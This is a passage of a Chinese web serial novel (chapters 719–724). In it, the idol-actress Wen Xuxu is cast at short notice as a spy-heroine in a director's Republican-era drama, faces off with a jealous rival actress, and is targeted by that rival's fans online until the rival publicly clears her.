微信信息连响了十几声,闫凯旋连咒几声,心道肯定又是给他推荐演员呢。 也不知是谁走漏了风声知道他组里女三号要重新选角,他认识的不少艺人和经纪人都自荐发信息讨好请吃饭只为了拿下这角色。 闫凯旋又点了根烟好歹算是点开了手机。 只这么轻飘飘一瞥就移不开眼了,目光直愣愣的盯紧了手机屏上那张图。 她上着青衣妆却没有被这妆容遮掩了本身风姿,反倒衬的整个人媚意都要溢出屏幕,眼尾上挑的弧度都像是在诉说藏匿不住的情意,一个眼神都道出了一曲故事一般。 这容貌这媚中自带的空谷雅意可不正是他想找的人吗! 闫凯旋激动的一拍大腿,他嘴里叼着烟手哆嗦的打字要问这是谁,紧接着又收到董婉婉那头发进来的几段视频。 闫凯旋本就是打算询问这人是谁演过什么戏,董婉婉倒是直接,一股脑的把粉丝安利温栩栩的两分钟视频发过去,还十分上道的发了温栩栩一个舞台剪辑视频,后面的就是温栩栩在《云雾》中的视频,可真是十分了解闫凯旋要找什么人要问什么问题。 这下闫凯旋不着急问了,先开始看视频了。 看到介绍温栩栩的视频。 前二十秒,闫凯旋拧眉哦了一声,刚出道的爱豆艺人啊。 二十秒后眼睛亮起来,这舞台表现力!这可以啊! 闫凯旋宛若遇到自己千里马似的继续点视频,把温栩栩最近火着的视频看了遍,看到最后温栩栩在《云雾》中的表现又听了她的台词立刻觉得稳了。 第719章 有一个人问她的意见吗 如果原来闫凯旋觉得犯事儿那女演员将将能演这角色,那温栩栩就绝对是为这角色而生的啊! 闫凯旋:台词是温栩栩说的? 董婉婉秒回。 董婉婉:温栩栩除了是演员爱豆也绝对是一名合格的演员,台词绝不用担心,她都能直接自己上了。 这个好!这正说到闫凯旋心坎儿去了! 闫凯旋:你把温栩栩微信推给我,我这就联系她,最好是今天就入组。 董婉婉乐不可支把微信推给闫凯旋,闫凯旋秒加温栩栩。 等温栩栩工作完上了保姆车低头刷手机就看到新的添加好友记录,还是赫赫有名的闫凯旋导演。 温栩栩心道我又干什么了? 她心有疑惑却又猜是不是许愿找的新剧导演? 正式添加好友后闫凯旋立刻发了一段话过去,把《九月》剧组大概情况说了下,并希望温栩栩今天就能进组救场,后面用一百字表达了他对温栩栩的感谢。 温栩栩:…… 她上辈子是及时雨宋江吗? 为什么总是要帮忙救场呢? 温栩栩满心疑惑这位闫导是怎么找上自己的,董婉婉这就凑上来邀功拍了拍温栩栩的肩,“闫导加上你没?这角色可是我推给你的,我一看到你上了那青衣妆再加上你在《云雾》里面的表现就觉得这角色非你莫属,稳了。” 温栩栩,“……” 温栩栩颇有些哭笑不得,“婉婉姐您知道我后面多少通告吗。” 董婉婉冲她摇了摇食指,“宝贝儿,那不是你在女团综艺上说你要红的吗?咱们刚出道就是要挤着时间多赶点通告多拍点剧。” 董婉婉一副前辈的口吻道,“闫导的戏国民度能低吗?之前拍的那部宫斗剧不久红遍大江南北吗?那女N号都还被人记着呢,我给你争取的这个角色可是女三号,只要你拍出来你就彻底红了。闫凯旋导演的实力可比《云雀》导演咖位还要大的。” 温栩栩心道我本来也挺红的。 但她也不是骄傲什么的,她是有点自知之明的,自己虽然年轻可身子不是这么熬的,就怕到时候出点什么岔子再给剧组开天窗那不是给人添麻烦吗? 这部剧叫《九月》民国剧女三号,那绝对戏份不少说不准还有不少的打戏,她是真怕自己时间上平衡不来。 温栩栩还没卸妆,此刻低着头叹了口气,这副模样实在有些可怜可爱惹人心软,董婉婉看的都心痒痒想上手搓一把她的脸。 “婉婉姐,我真的非常感谢你给我推资源,但是……”温栩栩觉得自己又开始头疼了,她本来打算好好休息的。 董婉婉听不下去了,扭头道,“要不你跟导演谈吧,我刚给他推了你再跟他说你没打算接……闫导能骂死我。” 可不是吗,闫凯旋天天因为这个角色发愁,好不容易来了个合适的结果到最后闹了个乌龙人没档期?闫凯旋估计直接能进医院。 温栩栩这么久没回闫凯旋的微信,闫凯旋可等不下去了,生怕人被别人挖走,这会儿功夫就紧迫盯人的打电话来请温栩栩拍戏,语气十分温柔,但温栩栩却有那么点毛骨悚然只觉得闫导在诱哄小孩儿似的。 “闫导,我现在刚拍完杂志,不然您等我卸了妆再打给您商量这件事?”温栩栩想着等卸妆那功夫再考虑怎么劝闫凯旋换人,奈何闫凯旋一听刚拍完杂志更来了兴致。 “拍的那个你唱戏那组?”闫凯旋声调都高了几个度。 温栩栩隐隐觉得有哪儿不对却还是回了句:“对,是这类的写真照。” “你别卸妆!可千万别卸妆,你现在就直接来组里,咱们这就能开拍!” 直接来呗,还省得化妆耽误工夫了。 闫凯旋美滋滋,心里已经定下温栩栩了。 他自己也觉得这事儿做的仓促,但也不是没考量,给温栩栩打电话前骚扰了《云雾》导演一通,对方把温栩栩夸的天花乱坠,云雾导演那整天鸡蛋里挑骨头的都能夸,那要好成什么样啊,绝对没得挑。 闫凯旋连温栩栩本人的面儿都还没见呢也是着急了这就先定了人。 温栩栩一时都不知道自己该说什么才好,闫凯旋半晌没听见温栩栩回话,还当他是跟这边主编不好商量那戏服的事儿,闫凯旋大手一挥,“你把手机给你们主编我来跟他说。” 啊?你要说什么啊? 温栩栩实在跟不上闫凯旋的脑回路,但也不想随便得罪导演真把手机给了杂志社主编,主编眉头紧蹙片刻后算是点头应下,直接挂断电话扬声喊着温栩栩名字,“温老师,你直接穿着这身衣服去《九月》剧组见闫导,有车没有?没有的话我们这边派车送你过去。” 温栩栩,“……” 你们有一个人问过我的意见吗? 温栩栩默默的转身望向正朝角落躲闪的董婉婉,眼神十分幽怨。 董婉婉捂着脸干笑两声:“那什么,闫导的剧,特好,真的特好,你去看看就知道。” 温栩栩猜得到董婉婉是好心,她就是头疼这么一折腾这戏怕是不好推了,“婉婉姐,不管怎么说我还是很感谢你给我推资源的,我会仔细考虑衡量接不接这部剧。” 董婉婉这才又脸上笑出花来,温栩栩又笑,“今天辛苦各位老师帮我们团拍杂志了,各位老师都辛苦了,今晚华庭我买单,不过我临时有事就不能陪各位老师了,到时候报我名字就好。” 温栩栩说是请这些工作人员其实也是在感谢董婉婉和主编,董婉婉和主编人精一样脸上也有了笑意。 别的不说温栩栩是真上道。 这一阵寒暄后温栩栩才带着助理和经纪人回休息室,杜佳安她们等了好一阵,正懒懒散散的趴在桌子上点着手机玩氪金抽卡游戏,听见响动抬头就给惊了下。 “这就是临时添的内封妆吗?超美的啊!”杜佳安围着温栩栩转。 秦萌萌干脆的拿了手机跟温栩栩一起合照自拍,经纪人在一边老妈子叮嘱杂志出来前别把图流出去。 第720章 她就是有人捧 一直在休息室里面耍大牌等着董婉婉道歉的二线艺人一直都没能等到人来请,谴着助理出去看看怎么一回事,结果助理赶紧回去惊慌失措道:“瑶姐,杂志社请了别人来拍这期杂志!” 二线艺人叫张梦瑶,听到这话嗤笑一声。 “我的粉丝都知道我今天来拍杂志,她们敢临时换人?等着我粉丝撕了她杂志社吗!我倒要看看是谁敢跟我作对来抢我的资源!” 助理脸都白了,刚想说是温栩栩,结果张梦瑶就已经出去了。 助理跟在张梦瑶身后,眼见着张梦瑶进了温栩栩女团所在的休息间,心里连连叹气。 张梦瑶也愣住了,像是完全没猜到顶替自己的人会是温栩栩。 换做是别的人她还能带带节奏,可偏偏是温栩栩,温栩栩需要抢资源吗?她要真想拍杂志,许愿还不给她送资源?反倒是她现在需要吃了这哑巴亏了!还要跟粉丝解释是自己临时有事不能拍摄,否则自己粉丝真要攻击了温栩栩那才是完蛋! 没见张雨萌都是个什么下场吗! 张梦瑶恨恨的咬牙,却也是被温栩栩这造型震撼了下,只心里发堵很小声嘀咕:“不就是在脸上涂抹那厚重的妆容?这谁上了这妆都好看。” 她声音小,当别人没听到,却不知温栩栩听到了,房间内其他人也听到了。 温栩栩桃花眼潋滟多情,眼尾上挑水袖一甩,开口便念,“独坐皇宫有数年,圣驾宠爱我占先。宫中冷落多寂寞,辜负嫦娥独自眠。”正是那《贵妃醉酒》的词了。 她扮相极美,又因过硬的台词表演收放自如,嗓音脆甜虽不及专业人士却也足够唬人了,更别说身上独带的那股韵味儿。 只是那句词也不知是不是在内涵张梦瑶了。 张梦瑶脸色铁青,温栩栩拂袖遮住半张脸眼含笑意,“姐姐何不来一句莫要让妹妹都占了这圣恩才是。” 《贵妃醉酒》是没有这句台词的,耐不住温栩栩想讽刺她,掐着嗓子声音柔媚的挑着她的火。 张梦瑶还真就被她激起怒火,捏着嗓子想学她做这副弱柳扶风的样儿,还有样学样去念那句词儿,偏是不伦不类成了那东施。 杜佳安和秦萌萌笑作一团,捂着肚子笑出眼泪,“张梦瑶你是在学鸡叫吗,如果我是皇帝有你这样的贵妃一定要打入冷宫的。” 张梦瑶气的眼底盛满怒火,怒指温栩栩,“温栩栩你是不是故意的!” “自然是故意的。”温栩栩软声细语。 她缓缓迈着小步行至她身边,巧妙的一手抵在张梦瑶胸口用力推了一把,张梦瑶本就没防备她被她这么一推脚下一软就跌到沙发上四散着头发气的呼哧呼哧喘粗气。 “你若招我我便要踩你,你若记不住这教训,我便多踩几次。”温栩栩哼笑了一声扭头不再去多看她一眼。 “你带着她们跟杂志社的工作人员去华庭聚一聚,毕竟是高奢杂志的人总要打好关系,我已经提前跟那边联系过到时候直接报我的名字记我账上。”她是真的在为团队考虑。 今天的整体行程并不多,前阵子她们也一直在赶进度今天就当放松了。 张梦瑶就是管不住那嘴嘀咕了剧,“可真有钱。” 温栩栩抬手抚了抚额,“那没办法,我有人捧又有资源,羡慕吗?羡慕也不是你的。”温栩栩笑的十分惹人生气,当然她本意也就是为了惹张梦瑶生气。 张梦瑶嫉妒的都快要跳起来,温栩栩却没心思理她了,跟经纪人说了声自己有事要办这就要走,张梦瑶阴着脸,“呵,又不知是哪里来的资源呢。” 温栩栩推开门离开之际轻笑一声回她,“你那卡壳的广告拍完了吗。” 张梦瑶今天耍大牌就因为要拍的广告全因张梦瑶的一些个人镜头卡住了明天还要补拍。 张梦瑶被她噎的不占理更觉矮了温栩栩一头。 本来温栩栩不会这么无礼犀利的,但是张梦瑶实在是太欺负人,董婉婉是什么性子温栩栩当然知道,可张梦瑶硬是把人欺负到要换人,可见张梦瑶在杂志社有多嚣张。 说白了,温栩栩就是看不上这种人。 张梦瑶呢,自然是恨她来这么一出,但不敢真的直面跟温栩栩对上也是真的。 毕竟她还想在圈子里继续混呢,许愿可是资本中的资本,她除非疯了才真的去招惹,这下子也不敢再找杂志社的麻烦了。 …… 《九月》剧组就在A市的影视城附近,闫凯旋为了戏拍出来好看早半年前就找人搭建了不少场景,这会儿下车走进《九月》剧组还真有种穿越到五六十年前的错觉。 闫凯旋在组里抽烟等温栩栩来组里,副导握着本子打外头跑进来满头的汗,“导演!导演!您说的那位来了!您可快去看吧!” 副导激动的不行,“哎呦喂,那简直就是谢云诺从剧本里走出来了!” “谢云诺”《九月》女三号。 闫凯旋把手里写了不少笔记的本子拍副导怀里,起身的太急小凳子差点给他拌地上,副导赶紧扶住闫凯旋,闫凯旋却忙着正了正头上的帽子呵呵笑着,“不打紧不打紧,边儿去,我这就去见见我们的谢云诺。” 闫凯旋大步流星往前走还不忘小跑几步,这么停了一瞬远远的瞧见一人缓步跨过矮木兰像是自这宛若藏匿厚重历史的街道由远及近而来。像是跨越时空的一次相聚。 她挽了个仙人髻,银丝线穿珠凤在鬓边戴,明晃晃走起路来颤悠悠,颤颤悠悠恰似金鸡乱点头。 芙蓉面,眉如远山秀,杏核眼灵性儿透,她的鼻梁骨高,相衬着樱桃小口,牙似玉,唇如朱,不薄也不厚,耳戴着八宝点翠赤金钩。 上身穿的本是红绣衫,拓金边的扣子,下身穿八幅裙掐百褶是云霞皱,都是锦绣罗缎绸裙。 下边的红鞋满帮是花,金丝线锁口,五色的丝绒绳收底。 却见她露出纤纤玉手提起下裙摆,只让人瞧着那素白的手腕实在白的晃眼,好似一碰都要留下道红印子。 方才远远的瞧见她那明艳的五官,这越来越近才瞧出那眉眼之间的媚意风情,倒是行动之间的风流多情也是藏不住的。 就像是副导说的,“谢云诺”从剧本里走出来。 第721章 她是真不上相 闫凯旋这才真真的明白什么叫不上相! 那组照片让人看了内心震撼,可见了真人才知那照片与本人相差多少,她那眼底潜藏的波光涟漪根本没有拍出来。 也就是这样的人才能是死后成为所有人内心的白月光,不分男女,谁能不爱她? 闫凯旋一直在组里拍戏,本是不知道温栩栩的,他在组里拍戏可不关注外面那些风波,若是知晓温栩栩有个外号叫“人间扳手”那就不奇怪了。 “导演。”温栩栩已经走到闫凯旋面前,虚浮一笑。 闫凯旋用手抚住了胸口被她这眼神看的这心脏都受不住,“要不……要不这就开拍?” 温栩栩唇角不受控制的抽了下,她道:“导演,我来这里是有事要跟您商量的。” 闫凯旋这才缓过神来把人带到休息室又让人上了茶水,副导狗腿的多上了盘点心水果伺候着。 “导演,我来这里其实就想跟您面谈,我是真的没有时间接拍《九月》。” 温栩栩话音才落下闫凯旋就开始捂心口,“你……你这顶着一张谢云诺的脸跟我说你不能演我怕我厥过去。” 温栩栩,“……”你们导演都这么戏精的吗?我也不知道谢云诺是个什么样的人啊,我顶着我自己的脸怎么就成谢云诺了? 温栩栩叹了口气,“真的不是我不肯接,只是我最近真的有点累,担心因为我自己的原因后面会拖累剧组,到时候还要您重新找演员,那这就不是帮忙是添乱了。” 闫凯旋摆手,却又不敢大声,生怕吓到温栩栩似的,“不不不,你来拍这个角色绝对不会是添乱,我现在心里认定你就是谢云诺了,就你能演出那感觉来!” 温栩栩僵了片刻,“我就是个新人,真的担心我的演技跟不上组里的进度。” 闫凯旋一排腿直接放了《云雾》导演跟他聊天时发来的微信语音,全都是在夸温栩栩演技好是未来影后的。 温栩栩,“……” “担心谁也不用担心温栩栩啊,温栩栩那演技准能一条过,绝对不耽误你功夫,你男主演档期就半个月功夫?足够了足够了,温栩栩是准不会拖后腿的,只要你男主角别总NG那绝对来得及拍的完。” “男主角是陆墨?那不是实力派流量吗?温栩栩跟他那没毛病啊,用温栩栩没错,温栩栩可是我看重的未来能拿影后的苗子,你就瞧好吧!” 闫凯旋的微信里传来导演中气十足的声音,这两段语音全都包含了对方对温栩栩未来的厚望。 温栩栩内心咬牙我可谢谢您嘞! 闫凯旋乐呵呵,“要不是那老东西放了这话我哪儿能那么轻易就定了你演谢云诺啊,这是他在我这里打包票说你演技好呢,我看你就是太自谦了。” 闫凯旋还是不肯放弃的劝她,“我们这戏说赶但是这景都是搭建好的,都不用出组就在这里头拍就行这就省了不少时间,而且这角色的戏其实也不是那么多,说是女三号是因为我偏爱这个角色,其实这角色中期就死了,戏份并不是你想的那么多。” “咱们戏的男主角是陆墨,那也是有名的实力派,你俩搭档绝对拍的快耽误不了多少工夫。”闫凯旋缓着语气真有点恳求的意思了,“如果没见过你说不准我还能凑合找别人拍了,但现在见了你我真的放不下了,找谁都不是个味儿,温栩栩呐,你是个演员,你该明白我的心情才是。” 明白,怎么能不明白呢。 温栩栩态度略有松动,闫凯旋见此忙把“谢云诺”的人物小传给她,“要不你先看看这人物小传再下定论?” 温栩栩有些迟疑,闫凯旋却郑重的将人物小传的本子交到她手中。 温栩栩推拖不得翻开这剧本去看“谢云诺”的人物小传。 看到谢云诺音容笑貌描写那里温栩栩颇为诧异。 {声如婉转莺灵,雅如空谷幽兰,艳似血池红莲,媚似醉人烟霞,飒如月下风影,气如松柏云诺。} 这样的人的确是不好找,怪不得闫导要这么着急呢。 纵观整个娱乐圈也找不出几个人来,也就是这么一段描写就让温栩栩跃跃欲试想挑战了。 谢云诺是双面间谍,作为被培养出来的大青衣与敌军虚与委蛇,是所有人眼中的美人儿,哪怕是那最奢华的歌舞厅都要请她谢老板去唱首歌,任谁记起这京城里的大明星,首先提到的就是谢老板谢云诺。但她前身是男装跟男主角在特训营培育出的王牌间谍,她在明亦在暗,而男主角则是她众多追求者之一。她闫旋在男男女女之间,明明是身娇体软的美人偏却种了身傲骨。 她最后是如何死的? 谢云诺最终身份暴露,被敌军在雨天扒光衣物追赶着喊她谢老板,却在这种境地处于劣势爬到敌军首领怀里故意留下一句谎话才让男主躲过一记,而她永久的死在那场夺了她清白的暴雨之中。 生来天仙容貌却处于乱世四处飘零,经历过颠沛流离尝过人间百态,她清清白白的来却终是染了满身血的离开,就如她曾说的那句,“这件事我若不做还要别人来做,我这人总归是要孤独一生的,一条贱命何必伤怀。” 温栩栩呼吸都有些乱了,她久久没能回神。 闫凯旋喊着温栩栩的名字,“你看……温栩栩你能不能演,我是真觉得这角色除了你也没人能演了。” 温栩栩勾唇笑了,“这戏我接了。” 闫导眼眶都热了,“你接了!你竟然真的接了!那咱们今天就开拍!” 闫凯旋是真激动了,赶紧跑远了去找陆墨叫喊着,“陆墨!咱们这就开拍了!我把你梦中情人谢老板找来了!快给老子滚出来拍戏了!” 温栩栩失笑,“导演,你倒是先跟我说说先拍哪几场跟我说说戏啊。” 如果现在就开拍那肯定来不及看所有的剧本,只能先片面的看即将要拍的那几场再等闫导说一下戏。 闫凯旋一拍脑门高兴的直憨笑,“瞧我这脑子,咱们先把你在戏园子的戏拍了,你跟男主角在戏园子眉来眼去交流的戏还是挺多的。” 温栩栩扬眉笑了,“那怎么能是眉来眼去,应是战友之间在交流情报才是。” 第722章 根本不知道温栩栩有多火 陆墨在圈子是出了名脾气好的实力派演员,也是这圈内摸打滚爬出来的,红了后也没那耍大牌的黑料,为人很是谦逊。 剧组出了事陆墨就一直在组里看剧本琢磨角色毫不浮躁,本来女三号出事镜头被剪,现在组里没找到合适的女演员他也不该跟在组里的,但陆墨心肠好想着万一突然找到人他却在外跑通告还要给闫凯旋添麻烦,索性就在组里陪着闫凯旋,也好让闫凯旋安心。 这会儿听见闫凯旋这激动的声音陆墨合上剧本走出休息室,副导已经笑呵呵的小跑在前面带路,嘴是不停十分夸张的把那些华美的形容词堆砌到温栩栩身上,夸得天花乱坠。 陆墨倒是真对着突然入组救场的“谢云诺”产生了浓厚的兴趣。 闫导休息室的门并没关上,闫凯旋似乎是在给温栩栩讲戏,她倚靠在化妆台,只那样站着就好像周围一切都沦为陪衬背景板,像喧嚣浮华褪尽,好似她倚靠着的是梨园围栏。 陆墨脚步停在原地,脑海什么想法都没了,好似只能看到她一人。 明明没有笑却又像眼尾含笑,毫无动作都让人瞧着弱柳扶风自带风姿。 可不就是那位红透京城死后都让人念念不忘的谢老板吗。 陆墨目光有几分呆滞,温栩栩余光瞥见那埋进门的人影微微抬头,眼尾上挑,那容颜端的是天姿国色魅力绝伦。 温栩栩动作轻缓只对他缓缓含笑点了下头,那双潋滟瞳眸的神采自含几分风流。 闫凯旋搓着手介绍两位主演,“陆墨,咱们的谢老板今天就入组了,还要你多多关照了。” 陆墨心脏狂跳几下,赫然就如剧中男主角初次见到谢云诺女装时的心境,宛若毛头小子控制不住情欲。 不等陆墨回一句,温栩栩垂着眼睛卷弄着手中的丝帕轻描淡写的开口,“倒是不知什么风……”她声音娇软带着几分似恼不恼的嗔意将那丝帕转身丢到他头上这才继续道,“能把我们陆队长吹来这戏园来。” 陆墨呼吸都慢了半拍,鼻腔都是那丝帕上传来的淡淡香气,不是甜腻的味道,却是带了几分清浅的檀香气,分明是在使小性子身上的香味却又自带雅意。 他喉结滚动僵着身体拿下头上的丝帕,却听耳边传来女人轻笑打趣的声音,那香气也更浓郁了些。 低头便对上那双亮眼美眸媚意十足的瞧着他,纤细素白的手指轻点着他的胸口滑动,一点点向上移动扯住他的领口将人拉拽到自己面前。 “陆队长遍地红颜却是还能想得到云诺来翻一翻云诺的牌子,可见云诺才是队长心里无法割舍的那位才是。”她呼吸暧昧在他耳边觑寻,声音婉转更像诱哄,“今日可要留在我这戏园听我唱一曲,嗯?” 陆墨呼吸彻底乱了,温栩栩却是咯咯笑起来,那桃花眼中自带的媚意遮都遮不住,她一把将人推到化妆镜前伏低身子紧贴他胸口咿咿呀呀的唱着曲儿,陆墨僵直着身体随她动作。 许是片刻,温栩栩眸中那流转的媚意逐渐消下去,红唇贴着他的耳垂,“三日后会有一批货自东河码头流出。” 她重新站定身体,再抬眼时哪里还有那时时刻刻带着的勾人意味儿,却是一双潋滟瞳眸自染上几分清冷疏离之意,只待仔细瞧了才能发现那眼底的情意。 闫凯旋整个人都傻了,愣在一旁看了半天。 陆墨更缓不过来,他就是来见一下导演说的女演员,谁成想就被带入戏了。 温栩栩面露笑意伸出手,“陆老师,我是温栩栩,后面将会出演《九月》的谢云诺,还请多指教。” 陆墨捂着脸呼了一声,“你先别顶着这张脸看我。” 陆墨开始喊闫凯旋,“闫导,您什么时候把谢老板本人请来了。” 闫凯旋一敲桌子及兴奋,“可不是吗!我一看她我就说这不就是咱们《九月》的谢云诺吗!” 温栩栩立刻摆手,“闫导您这话说的,以后您会发现……我拍的所有剧都贴角色,可不只是一个谢老板。” 闫凯旋连连朗笑,“是是是,你这话说的没错,演员啊就要有这觉悟,咱们就要拍谁是谁。” 陆墨清了清嗓子问道,“闫导,要不先让温栩栩把妆卸了我们再重新介绍一下?” 闫导一听卸妆?那不能啊! 闫凯旋斜他一眼,“卸什么妆,马上就开拍,就这个妆能拍不少镜了,抓紧时间今儿多拍几条。” “这就开拍了?她看过剧本了?我们拍哪一场?” 闫凯旋兴冲冲喊化妆师给陆墨化妆给温栩栩补妆这才回道,“拍的时候会跟你们说的,我会给温栩栩讲戏,你当温栩栩是你刚拍戏那会儿呢?天赋型演员就是这么彪悍。”闫凯旋又堵他一句,“你可别不信,刚才那段你也瞧见了。” 陆墨哭笑不得,是瞧见了,一秒入戏一秒出戏,虽然台词不是全对但只要拍的时候感觉是对的导演就不会喊卡。 现在知道她加入剧组这才彻底不慌觉得稳了。 真正开拍后陆墨才知道闫凯旋为什么那么激动像是挖到宝,真正开拍后温栩栩就没卡壳的时候,几乎都是一镜过的,当天就拍完了这身衣服需要的镜头,闫凯旋乐的老泪纵横,就连陆墨都跟着心情躁动。 闫凯旋这一激动就兜不住事儿,等这些镜头拍完趁着朦胧夜色喊了温栩栩一声说要拍一个温栩栩转身要露出那种千娇百媚的笑。 温栩栩自然应允。 闫导拍了视频发到自己朋友圈其实就是为了告诉投资商和制片那边女三号有着落了。至于这造型是温栩栩杂志内封的造型他也跟杂志主编谈过了,那边也同意提前曝光,算是攒一波热度了。 闫凯旋也是没办法,之前太多人叫衰《九月》,说什么戏还没拍完女三号就出事不是什么好征兆,还有太多人蹭《九月》热度,闫凯旋这才选定温栩栩后拍了这条视频搭配了民国风的曲做背景音乐发到朋友圈。 闫凯旋倒是不知道温栩栩如今有多火呢。 第723章 心虚 温栩栩进了《九月》剧组,却是完全不知道因为她接了那杂志的事儿让张梦瑶的粉丝知道了。 张梦瑶去拍摄杂志的时候是有粉丝在外面等着的,最后只看到张梦瑶气呼呼的离开,粉丝还当是杂志社的人惹了张梦瑶生气亦或者是拍摄的不理想,就去联系了张梦瑶的助理。 张梦瑶知道温栩栩的身份不敢闹大,可助理不知道,且还是个圈子里的新人,只当温栩栩是个资源咖,索性就将温栩栩抢了张梦瑶资源的事情告诉了粉丝。 那粉丝是张梦瑶一个有钱的大粉,听到这话果断就炸了。 竟然真的有人敢欺负她们姐姐啊! 张梦瑶的大粉气到整个人都发抖,但是也没全听助理的话,还想着是不是真的抢了资源,总不能助理说什么是什么,万一杂志出来后封面还是他们姐姐那不就遭了? 大粉可不想张梦瑶在圈子里被骂被狙。 那期杂志拍摄期限本就卡在最后了,属于是拍完当晚就去印刷了,第二天网络上就已经开始售卖了。 果然,封面不是张梦瑶,而是温栩栩所在的女团。 大粉气到胸腔不停起伏,且张梦瑶有些知道内情的粉丝还在问为什么不是张梦瑶,是改成下一期了吗,还在问为什么内封都是温栩栩啊。 大粉是真忍不了了,直接就在张梦瑶粉丝超话开喷了。 【《四月》杂志是在开玩笑嘛?梦瑶的行程是一早就确定的,你们请了我们梦瑶去拍摄杂志,却在最后选择换成了温栩栩?你们杂志社什么意思?因为温栩栩最近太火了所以任何人都要给温栩栩让路是不是!就算是恶心人也不能这么恶心!@四月杂志出来说话!这件事不给个交代没完!我们梦瑶虽然没有温栩栩火但也是一步一个脚印走出来的,你们不能就这么随便侮辱人!还有温栩栩!@温栩栩,你是不是抢别人资源抢上瘾了,你是有资本背后有人,可我们梦瑶没有,就一个杂志的资源你都要抢!你在圈子里到底还抢了多少人的资源!】 大粉开喷连带着一些不明就里的粉丝页纷纷辱骂,竟是将所有责任都推脱到了温栩栩身上,俨然是将温栩栩当成了罪魁祸首,幼稚且可笑。 张梦瑶虽然没有温栩栩的热度但也挺有名的,大粉这一闹立刻冲上了热搜。 #温栩栩抢张梦瑶资源# 热搜词条都明明白白的。 杂志社主编看到这热搜真是眼前一黑的程度。 不是?她们杂志社在国内算是有名,但温栩栩身份摆在这里,背后又有许愿,她犯得着抢张梦瑶资源吗? 董婉婉更是生气,只觉得张梦瑶的粉丝真是跟她一样全都是又蠢又坏。 温栩栩被骂,这事儿是真的闹大了,温栩栩自然也看到了热搜,还是在《九月》剧组看到的,剧组的人频频看她,她却没什么反应。 温栩栩甚至登录自己账号发了条微博。 温栩栩:@张梦瑶,你的粉丝来给你讨说法了,你说句话,到底怎么回事说清楚。 温栩栩这算是给了张梦瑶机会了。 那天的事情真搬到网上来说张梦瑶会被人骂死。 杂志社内部都是有摄像头的,张梦瑶怎么欺负人怎么耍大牌不肯配合拍照逼着董婉婉道歉的嘴脸都被拍下来了,其实这事儿对温栩栩来说张梦瑶虽然坏但还没有坏道离谱的程度,所以她没打算真让这事儿曝光,这事儿不至于让她退圈,但也有必要让张梦瑶管控一下自己的粉丝让她们收敛一些了。 张梦瑶因为拍杂志那事儿气蒙了,回家就关机睡觉,根本不知道网络上因为自己掀起了波澜,还是经纪人联系不上她上门砸门才见到了张梦瑶。 一见面就问她怎么回事儿。 张梦瑶眼神躲闪,到底是自己手底下的艺人,什么烂性子她不知道吗? “这事儿是温栩栩抢了你资源?” 经纪人直接就问她。 “要真是温栩栩抢了你资源你也不用害怕,许总我也是认识的,许总还是很讲道理的,特别是对女性一直都很有同理心,这次的事如果是你受了委屈,许总一定也会补偿给你。” 经纪人这话其实说的很明白了。 最好是你受了委屈。 许愿对女性确实是和善的,但不代表没有底线。 张梦瑶憋屈了几秒,舔了舔干裂的嘴唇开口还是没说话。 这明显就是心虚。 经纪人什么看不出来,劝她:“梦瑶,如果这件事真的是温栩栩抢了你资源我一定会去见许总,我跟许总还是有点渊源的,但如果这件事委屈的事杂志社是温栩栩,那你也知道许总的脾性,往日里那些得罪温栩栩和许总的课都没有好下场。” “如果是你的错,你趁着现在事情没有闹得更大就上微博解释下,否则……杂志社那边如果爆料了什么视频照片,以后这圈子你可就混不下去了。” 这话绝不是经纪人在哄骗张梦瑶。 这圈子都是看人下菜碟的,都知道温栩栩背后的人是许愿,而许愿就算是A市最顶上头的资本了,那些老板都要巴结着许愿,这次如果错的是张梦瑶,就算许愿不追究,那些想要讨好许愿的人都会私下封杀她,到那时候就只能退圈了。 张梦瑶脸色惨白。 她就是个没脑子的蠢货,也就是脾气爆一些,还真的没惹出多少事端,这次也就是看自己红了点稍微耍了下大牌,哪里就知道事情闹大了呢。 张梦瑶唇瓣都在哆嗦,好半晌才支吾的开口:“我这就登录我的账号澄清。” 经纪人看她没有蠢到一定程度这才算点了点头。 张梦瑶生怕自己慢了杂志社会曝光自己耍大牌的视频,赶紧回复了温栩栩也安抚了自己的粉丝。 张梦瑶:【这次参与杂志拍摄时我因身体不适无法继续进行拍摄,故而杂志社联系了温栩栩老师,温栩栩老师是被请来救场的,还希望各位不要误会温栩栩老师也不要伤害温栩栩老师,特别是我的粉丝,不要去打扰温栩栩老师。】 第724章 你粉别人吧 发完这句张梦瑶似乎还觉得不够,特地又发了句。 张梦瑶:【感谢温栩栩老师救场。】 张梦瑶的粉丝都懵了,这进展不对啊。 大粉更是气愤的在网络上发言称张梦瑶不要因为温栩栩的身份而害怕,她们这群粉丝是她最坚强的后盾,还是觉得张梦瑶受了欺负呢! 张梦瑶真是眼前一黑。 她是真的想骂人,就算是蠢也不能蠢到这种程度啊。 你是她后盾?你是能斗得过许愿的资本吗?这次的事本来就是她先惹起来的,就算不是她惹起来的,就算真的是温栩栩的错,谁又能真的直接跟温栩栩和许愿杠上? 说是她坚强的后盾,真的招惹了大人物又能帮她多久记得她多久? 最后还不是会被娱乐圈的新人顶上来? 所以这是真的蠢。 不等张梦瑶让人去联系自己这没脑子的大粉,就见大粉在网络上发了张梦瑶生气离开的身影。 发完后还不忘吐槽。 【视频里梦瑶明明就是生气离开的,哪里有生病的样子!这分明就是被欺负被抢了资源!】这是大粉吐槽。 【梦瑶姐姐被温栩栩那个资源咖抢了资源!】这是跟风骂的粉丝。 【温栩栩资源咖!温栩栩道歉!温栩栩把资源还给梦瑶姐姐!】这还是跟风的粉丝。 看到这些张梦瑶坐在沙发上都觉得如芒在背。 见她们这么能发疯,张梦瑶赶紧开口解释。 张梦瑶:【这次是我发了高烧根本笑不出来离开的时候其实步子都有点不稳所以看着像生气,粉丝不要再说了,温栩栩老师很友善很优秀!不要再针对温栩栩老师了!温栩栩老师不缺这一个杂志封面的资源!】 本来温栩栩抢资源这事儿也就只有张梦瑶的粉丝信了,毕竟温栩栩的资源一直都是顶顶好的,压根用不着抢资源,也就只有张梦瑶粉丝那群憨货信了,不仅信了还拿这事儿去攻击温栩栩。 大粉是个蠢得,哪怕张梦瑶发话了也还不信,还要为张梦瑶发声。 气的张梦瑶直接微博大号去私信她了。 张梦瑶:{你能不能不要再招惹温栩栩了,这次的事情就是我自己的原因没有拍完杂志跟温栩栩无关!} 张梦瑶:{温栩栩抢我资源干什么!她最近这段时间都没打算接什么资源!} 张梦瑶:{算我求你了祖宗,是我的原因,真的是我的原因,我还不想因为这点小事被圈子里的人嗤笑混不下去呢!} 前面两句话大粉全当看不到,就盯着张梦瑶后面那句了。 